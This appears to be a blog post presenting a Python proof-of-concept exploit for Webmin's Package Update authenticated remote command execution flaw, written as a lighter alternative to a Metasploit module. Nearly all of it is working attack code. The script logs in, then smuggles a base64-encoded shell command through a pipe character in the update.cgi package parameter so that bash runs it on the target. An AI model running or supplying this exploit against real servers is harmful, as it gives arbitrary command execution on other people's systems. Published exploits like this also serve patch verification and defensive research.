PoC for Webmin Package Update Authenticated Remote Command Execution
At the time there was only a metasploit module available and I hate loading a whole framework to use an exploit so I wrote this one. All credit goes to Özkan Mustafa Akkuş The exploit is on GitHub and the code is below.
#!/usr/bin/python3
import urllib3, base64
import requests, sys
from optparse import OptionParser
from urllib.parse import quote
class minPwn:
def __init__(self, baseurl, username, password, cmd):
self.baseurl = baseurl
self.username = username
self.password = password
self.cmd = cmd
self.session = requests.Session()
def login(self):
print("\033[94m[*]\033[0m Attempting to login...")
self.session.cookies["testing"] = "1"
postdata = {'page' : '', 'user' : self.username, 'pass' : self.password}
url = self.baseurl+"/session_login.cgi"
res = self.session.post(url, data=postdata, verify=False,allow_redirects=False)
if res.status_code != 302 or self.session.cookies["sid"] == None:
print("\033[91m[-]\033[0m Login error")
sys.exit()
def exploit(self):
print("\033[94m[*]\033[0m Exploiting...")
url = self.baseurl+"/proc/index_tree.cgi"
headers = {'Referer' : f"{self.baseurl}/sysinfo.cgi?xnavigation=1"}
self.session.cookies["redirect"] = "1"
self.session.cookies["testing"] = "1"
res = self.session.post(url, headers=headers, verify=False, allow_redirects=False)
if res.status_code != 200:
print("\033[91m[-]\033[0m Request failed")
sys.exit()
def exec(self):
print("\033[94m[*]\033[0m Executing payload...")
b64 = base64.b64encode(self.cmd.encode('utf-8'))
cmd = "bash -c 'echo {} | base64 -d | bash'".format(b64.decode('utf-8'))
cmd = quote(cmd)
url = self.baseurl+"/package-updates/update.cgi"
headers = {'Content-Type' : 'application/x-www-form-urlencoded', 'Referer': f"{self.baseurl}/package-updates/?xnavigation=1"}
data=f"u=acl%2Fapt&u=%20%7C%20{cmd}&ok_top=Update+Selected+Packages"
res = self.session.post(url, headers=headers, data=data, verify=False, allow_redirects=False)
if res.status_code != 200:
print("\033[91m[-]\033[0m Exploit failed")
sys.exit()
def pwn(self):
self.login()
self.exploit()
self.exec()
if __name__ == "__main__":
parser = OptionParser("usage: %prog -u https://example.com -p 10000 -U username -P password -c command")
parser.add_option("-u", "--url", dest="url", type="string", help="target url")
parser.add_option("-p", "--port", dest="port", default="10000", type="string", help="target port")
parser.add_option("-U", "--user", dest="user", type="string", help="username")
parser.add_option("-P", "--password", dest="passwd", type="string", help="password")
parser.add_option("-c", "--cmd", dest="cmd", type="string", help="command to be executed")
(options, args) = parser.parse_args()
if not options.url:
parser.error("Please provide a target url")
if not options.user or not options.passwd:
parser.error("Please provide username and password for Webmin authentication")
if not options.cmd:
parser.error("Please provide a comand to execute")
baseurl = options.url + ':' + options.port
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
pwn = minPwn(baseurl, options.user, options.passwd, options.cmd)
pwn.pwn()